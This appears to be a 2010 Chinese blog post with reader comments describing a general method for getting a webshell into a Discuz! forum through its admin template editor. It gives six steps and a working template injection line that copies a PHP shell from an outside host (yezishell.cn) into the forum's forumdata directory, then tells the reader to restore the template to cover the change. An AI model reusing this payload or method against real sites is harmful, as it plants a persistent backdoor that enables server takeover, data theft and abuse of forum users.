Discuz!的最新后台通用拿Webshell法

May 12, 2010 | tags | views
Comments 1

1. 随便选一模板文件，选择编辑
2. 找一个空间上传一个webshell, 假定其地址为http://www.yezishell.cn/shell.txt
3. 在任意位置输入:
{eval copy('http://www.yezishell.cn/shell.txt', DISCUZ_ROOT.'./forumdata/shell.php');}
4. 保存, 刷新
5. 访问该模板所属的文件
6. 把模板恢复原样

大功告成, 访问/forumdata/shell.php便是可爱的马马


    相关文章:


  • quote 1.阳兄
  • http://qubingyan.cn
  • 蛋疼啊，能拿到后台就不错了 而且在线编辑模板 也不一定会开着
    蓝雨的马甲 于 2010-8-2 11:34:29 回复
    再蛋疼自己出去找地砸了~！
  • 2010-5-12 16:59:54 回复该留言


发表评论:

◎欢迎参与讨论，请在这里发表您的看法、交流您的观点。